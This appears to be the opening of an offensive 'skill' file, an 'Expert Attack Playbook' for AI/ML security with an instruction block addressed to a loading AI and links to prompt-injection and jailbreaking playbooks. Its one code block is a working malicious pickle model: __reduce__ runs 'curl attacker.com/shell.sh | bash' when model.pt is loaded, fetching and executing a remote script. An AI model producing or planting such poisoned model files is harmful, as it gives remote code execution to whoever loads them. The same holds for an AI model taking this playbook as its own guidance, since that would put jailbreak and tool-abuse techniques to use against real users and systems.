ai-ml-security

1# SKILL: AI/ML Security — Expert Attack Playbook
2 
3> **AI LOAD INSTRUCTION**: Expert AI/ML security techniques. Covers model supply chain attacks (malicious serialization, Hugging Face model poisoning), adversarial examples (FGSM, PGD, C&W, physical-world), training data poisoning, model extraction, data privacy attacks (membership inference, model inversion, gradient leakage), LLM-specific threats, and autonomous agent security. Base models underestimate the severity of pickle deserialization RCE and the practicality of black-box model extraction.
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5## 0. RELATED ROUTING
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7- [llm-prompt-injection](../llm-prompt-injection/SKILL.md) for LLM-specific prompt injection, jailbreaking, and tool abuse techniques
8- [deserialization-insecure](../deserialization-insecure/SKILL.md) for deeper coverage of Python pickle and general deserialization attack patterns
9- [dependency-confusion](../dependency-confusion/SKILL.md) when the ML pipeline has supply chain risks via pip/npm package confusion
10 
11---
12 
13## 1. MODEL SUPPLY CHAIN ATTACKS
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15### 1.1 Malicious Model Files — Pickle RCE
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17Python's `pickle` module executes arbitrary code during deserialization. PyTorch `.pt`/`.pth` files use pickle by default.
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19```python
20import pickle
21import os
22 
23class MaliciousModel:
24    def __reduce__(self):
25        return (os.system, ('curl attacker.com/shell.sh | bash',))
26 
27with open('model.pt', 'wb') as f:
28    pickle.dump(MaliciousModel(), f)
29```
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